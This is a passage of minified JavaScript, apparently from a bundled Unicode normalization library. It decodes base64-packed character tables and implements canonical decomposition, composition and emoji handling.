EBsV4QLvLge1AQMi3xPNQsUCvd5VoWACZIECYkJbTa9bNyACofcCaJgCZgkCn4Q4GwsCZjsCZiYEbgR/A38TA36SOQY5dxc5gjojIwJsHQIyNjgKAm3HAm2u74ozZ0UrAWcA3gDhAEoFB5gMjQD+C8IADbUCdy8CdqI/AnlLQwJ4uh1c20WuRtcCfD8CesgCfQkCfPAFWQUgSABIfWMkAoFtAoAAAoAFAn+uSVhKWxUXSswC0QEC0MxLJwOITwOH5kTFkTIC8qFdAwMDrkvOTC0lA89NTE2vAos/AorYwRsHHUNnBbcCjjcCjlxAl4ECjtkCjlx4UbRTNQpS1FSFApP7ApMMAOkAHFUeVa9V0AYsGymVhjLheGZFOzkCl58C77JYIagAWSUClo8ClnycAKlZrFoJgU0AOwKWtQKWTlxEXNECmcsCmWRcyl0HGQKcmznCOp0CnBYCn5sCnriKAB0PMSoPAp3xAp6SALU9YTRh7wKe0wKgbgGpAp6fHwKeTqVjyGQnJSsCJ68CJn4CoPsCoEwCot0CocQCpi8Cpc4Cp/8AfQKn8mh8aLEAA0lqHGrRAqzjAqyuAq1nAq0CAlcdAlXcArHh1wMfTmyXArK9DQKy6Bds4G1jbUhfAyXNArZcOz9ukAMpRQK4XgK5RxUCuSp3cDZw4QK9GQK72nCWAzIRAr6IcgIDM3ECvhpzInNPAsPLAsMEc4J0SzVFdOADPKcDPJoDPb8CxXwCxkcCxhCJAshpUQLIRALJTwLJLgJknQLd0nh5YXiueSVL0AMYo2cCAmH0GfOVJHsLXpJeuxECz2sCz2wvS1PS8xOfAMatAs9zASnqA04SfksFAtwnAtuKAtJPA1JcA1NfAQEDVYyAiT8AyxbtYEWCHILTgs6DjQLaxwLZ3oQQhEmnPAOGpQAvA2QOhnFZ+QBVAt9lAt64c3cC4i/tFAHzMCcB9JsB8tKHAuvzAulweQLq+QLq5AD5RwG5Au6JAuuclqqXAwLuPwOF4Jh5cOBxoQLzAwBpA44WmZMC9xMDkW4DkocC95gC+dkC+GaaHJqruzebHgOdgwL++gEbADmfHJ+zAwWNA6ZqA6bZANHFAwZqoYiiBQkDDEkCwAA/AwDhQRdTARHzA2sHl2cFAJMtK7evvdsBiZkUfxEEOQH7KQUhDp0JnwCS/SlXxQL3AZ0AtwW5AG8LbUEuFCaNLgFDAYD8AbUmAHUDDgRtACwCFgyhAAAKAj0CagPdA34EkQEgRQUhfAoABQBEABMANhICdwEABdUDa+8KxQIA9wqfJ7+xt+UBkSFBQgHpFH8RNMCJAAQAGwBaAkUChIsABjpTOpSNbQC4Oo860ACNOME63AClAOgAywE6gTo7Ofw5+Tt2iTpbO56JOm85GAFWATMBbAUvNV01njWtNWY1dTW2NcU1gjWRNdI14TWeNa017jX9NbI1wTYCNhE1xjXVNhY2JzXeNe02LjY9Ni41LSE2OjY9Njw2yTcIBJA8VzY4Nt03IDcPNsogN4k3MAoEsDxnNiQ3GTdsOo03IULUQwdC4EMLHA8PCZsobShRVQYA6X8A6bABFCnXAukBowC9BbcAbwNzBL8MDAMMAQgDAAkKCwsLCQoGBAVVBI/DvwDz9b29kaUCb0QtsRTNLt4eGBcSHAMZFhYZEhYEARAEBUEcQRxBHEEcQRxBHEEaQRxBHEFCSTxBPElISUhBNkM2QTYbNklISVmBVIgBFLWZAu0BhQCjBcEAbykBvwGJAaQcEZ0ePCklMAAhMvAIMAL54gC7Bm8EescjzQMpARQpKgDUABavAj626xQAJP0A3etzuf4NNRA7efy2Z9NQrCnC0OSyANz5BBIbJ5IFDR6miIavYS6tprjjmuKebxm5C74Q225X1pkaYYPb6f1DK4k3xMEBb9S2WMjEibTNWhsRJIA+vwNVEiXTE5iXs/wezV66oFLfp9NZGYW+Gk19J2+bCT6Ye2w6LDYdgzKMUabk595eLBCXANz9HUpWbATq9vqXVx9XDg+Pc9Xp4+bsS005SVM/BJBM4687WUuf+Uj9dEi8aDNaPxtpbDxcG1THTImUMZq4UCaaNYpsVqraNyKLJXDYsFZ/5jl7bLRtO88t7P3xZaAxhb5OdPMXqsSkp1WCieG8jXm1U99+blvLlXzPCS+M93VnJCiK+09LfaSaBAVBomyDgJua8dfUzR7ga34IvR2Nvj+A9heJ6lsl1KG4NkI1032Cnff1m1wof2B9oHJK4bi6JkEdSqeNeiuo6QoZZincoc73/TH9SXF8sCE7XyuYyW8WSgbGFCjPV0ihLKhdPs08Tx82fYAkLLc4I2wdl4apY7GU5lHRFzRWJep7Ww3wbeA3qmd59/86P4xuNaqDpygXt6M85glSBHOCGgJDnt+pN9bK7HApMguX6+06RZNjzVmcZJ+wcUrJ9//bpRNxNuKpNl9uFds+S9tdx7LaM5ZkIrPj6nIU9mnbFtVbs9s/uLgl8MVczAwet+iOEzzBlYW7RCMgE6gyNLeq6+1tIx4dpgZnd0DksJS5f+JNDpwwcPNXaaVspq1fbQajOrJgK0ofKtJ1Ne90L6VO4MOl5S886p7u6xo7OLjG8TGL+HU1JXGJgppg4nNbNJ5nlzSpuPYy21JUEcUA94PoFiZfjZue+QnyQ80ekOuZVkxx4g+cvhJfHgNl4hy1/a6+RKcKlar/J29y//EztlbVPHVUeQ1zX86eQVAjR/M3dA9w4W8LfaXp4EgM85wOWasli837PzVMOnsLzR+k3o75/lRPAJSE1xAKQzEi5v10ke+VBvRt1cwQRMd+U5mLCTGVd6XiZtgBG5cDi0w22GKcVNvHiu5LQbZEDVtz0onn7k5+heuKXVsZtSzilkLRAUmjMXEMB3J9YC50XBxPiz53SC+EhnPl9WsKCv92SM/OFFIMJZYfl0WW8tIO3UxYcwdMAj7FSmgrsZ2aAZO03BOhP1bNNZItyXYQFTpC3SG1VuPDqH9GkiCDmE+JwxyIVSO5siDErAOpEXFgjy6PQtOVDj+s6e1r8heWVvmZnTciuf4EiNZzCAd7SOMhXERIOlsHIMG399i9aLTy3m2hRLZjJVDNLS53iGIK11dPqQt0zBDyg6qc7YqkDm2M5Ve6dCWCaCbTXX2rToaIgz6+zh4lYUi/+6nqcFMAkQJKHYLK0wYk5N9szV6xihDbDDFr45lN1K4aCXBq/FitPSud9gLt5ZVn+ZqGX7cwm2z5EGMgfFpIFyhGGuDPmso6TItTMwny+7uPnLCf4W6goFQFV0oQSsc9VfMmVLcLr6ZetDZbaSFTLqnSO/bIPjA3/zAUoqgGFAEQS4IhuMzEp2I3jJzbzkk/IEmyax+rhZTwd6f+CGtwPixu8IvzACquPWPREu9ZvGkUzpRwvRRuaNN6cr0W1wWits9ICdYJ7ltbgMiSL3sTPeufgNcVqMVWFkCPDH4jG2jA0XcVgQj62Cb29v9f/z/+2KbYvIv/zzjpQAPkliaVDzNrW57TZ/ZOyZD0nlfMmAIBIAGAI0D3k/mdN4xr9v85ZbZbbqfH2jGd5hUqNZWwl5SPfoGmfElmazUIeNL1j/mkF7VNAzTq4jNt8JoQ11NQOcmhprXoxSxfRGJ9LDEOAQ+dmxAQH90iti9e2u/MoeuaGcDTHoC+xsmEeWmxEKefQuIzHbpw5Tc5cEocboAD09oipWQhtTO1wivf/O+DRe2rpl/E9wlrzBorjJsOeG1B/XPW4EaJEFdNlECEZga5ZoGRHXgYouGRuVkm8tDESiEyFNo+3s5M5puSdTyUL2llnINVHEt91XUNW4ewdMgJ4boJfEyt/iY5WXqbA+A2Fkt5Z0lutiWhe9nZIyIUjyXDC3UsaG1t+eNx6z4W/OYoTB7A6x+dNSTOi9AInctbESqm5gvOLww7OWXPrmHwVZasrl4eD113pm+JtT7JVOvnCXqdzzdTRHgJ0PiGTFYW5Gvt9R9LD6Lzfs0v/TZZHSmyVNq7viIHE6DBK7Qp07Iz55EM8SYtQvZf/obBniTWi5C2/ovHfw4VndkE5XYdjOhCMRjDeOEfXeN/CwfGduiUIfsoFeUxXeQXba7c7972XNv8w+dTjjUM0QeNAReW+J014dKAD/McQYXT7c0GQPIkn3Ll6R7gGjuiQoZD0TEeEqQpKoZ15g/0OPQI17QiSv9AUROa/V/TQN3dvLArec3RrsYlvBm1b8LWzltdugsC50lNKYLEp2a+ZZYqPejULRlOJh5zj/LVMyTDvwKhMxxwuDkxJ1QpoNI0OTWLom4Z71SNzI9TV1iXJrIu9Wcnd+MCaAw8o1jSXd94YU/1gnkrC9BUEOtQvEIQ7g0i6h+KL2JKk8Ydl7HruvgWMSAmNe+LshGhV4qnWHhO9/RIPQzY1tHRj2VqOyNsDpK0cww+56AdDC4gsWwY0XxoucIWIqs/GcwnWqlaT0KPr8mbK5U94/301i1WLt4YINTVvCFBrFZbIbY8eycOdeJ2teD5IfPLCRg7jjcFTwlMFNl9zdh/o3E/hHPwj7BWg0MU09pPrBLbrCgm54A6H+I6v27+jL5gkjWg/iYdks9jbfVP5y/n0dlgWEMlKasl7JvFZd56LfybW1eeaVO0gxTfXZwD8G4SI116yx7UKVRgui6Ya1YpixqXeNLc8IxtAwCU5IhwQgn+NqHnRaDv61CxKhOq4pOX7M6pkA+Pmpd4j1vn6ACUALoLLc4vpXci8VidLxzm7qFBe7s+quuJs6ETYmnpgS3LwSZxPIltgBDXz8M1k/W2ySNv2f9/NPhxLGK2D21dkHeSGmenRT3Yqcdl0m/h3OYr8V+lXNYGf8aCCpd4bWjE4QIPj7vUKN4Nrfs7ML6Y2OyS830JCnofg/k7lpFpt4SqZc5HGg1HCOrHvOdC8bP6FGDbE/VV0mX4IakzbdS/op+Kt3G24/8QbBV7y86sGSQ/vZzU8FXs7u6jIvwchsEP2BpIhW3G8uWNwa3HmjfH/ZjhhCWvluAcF+nMf14ClKg5hGgtPLJ98ueNAkc5Hs2WZlk2QHvfreCK1CCGO6nMZVSb99VM/ajr8WHTte9JSmkXq/i/U943HEbdzW6Re/S88dKgg8pGOLlAeNiqrcLkUR3/aClFpMXcOUP3rmETcWSfMXZE3TUOi8i+fqRnTYLflVx/Vb/6GJ7eIRZUA6k3RYR3iFSK9c4iDdNwJuZL2FKz/IK5VimcNWEqdXjSoxSgmF0UPlDoUlNrPcM7ftmA8Y9gKiqKEHuWN+AZRIwtVSxye2Kf8rM3lhJ5XcBXU9n4v0Oy1RU2M+4qM8AQPVwse8ErNSob5oFPWxuqZnVzo1qB/IBxkM3EVUKFUUlO3e51259GgNcJbCmlvrdjtoTW7rChm1wyCKzpCTwozUUEOIcWLneRLgMXh+SjGSFkAllzbGS5HK7LlfCMRNRDSvbQPjcXaenNYxCvu2Qyznz6StuxVj66SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g");Ea=new Map(ia(e).flatMap(((e,t)=>e.map((e=>[e,t+1<<24]))))),Sa=new Set(aa(e)),xa=new Map,Pa=new Map;for(let[t,n]of sa(e)){if(!Sa.has(t)&&2==n.length){let[e,r]=n,a=Pa.get(e);a||(a=new Map,Pa.set(e,a)),a.set(r,t)}xa.set(t,n.reverse())}}();let t=[],n=[],r=!1;function a(e){let n=Ea.get(e);n&&(r=!0,e|=n),t.push(e)}for(let i of e)for(;;){if(i<128)t.push(i);else if(Ca(i)){let e=i-ga,t=e%va/wa|0,n=e%wa;a(ma+(e/va|0)),a(ya+t),n>0&&a(ba+n)}else{let e=xa.get(i);e?n.push(...e):a(i)}if(!n.length)break;i=n.pop()}if(r&&t.length>1){let e=Aa(t[0]);for(let n=1;n<t.length;n++){let r=Aa(t[n]);if(0==r||e<=r){e=r;continue}let a=n-1;for(;;){let n=t[a+1];if(t[a+1]=t[a],t[a]=n,!a)break;if(e=Aa(t[--a]),e<=r)break}e=Aa(t[n])}}return t}function Ta(e){return Oa(e).map(ka)}function Ra(e){return function(e){let t=[],n=[],r=-1,a=0;for(let i of e){let e=Aa(i),s=ka(i);if(-1==r)0==e?r=s:t.push(s);else if(a>0&&a>=e)0==e?(t.push(r,...n),n.length=0,r=s):n.push(s),a=e;else{let i=Na(r,s);i>=0?r=i:0==a&&0==e?(t.push(r),r=s):(n.push(s),a=e)}}return r>=0&&t.push(r,...n),t}(Oa(e))}const Ia=".",Ba=e=>Array.from(e);function Fa(e,t){return e.P.has(t)||e.Q.has(t)}class La extends Array{get is_emoji(){return!0}}let Da,Ua,Ma,za,_a,Ha,ja,Ga,Qa,Va,Ja,qa;function Ka(){if(Da)return;let e=ta("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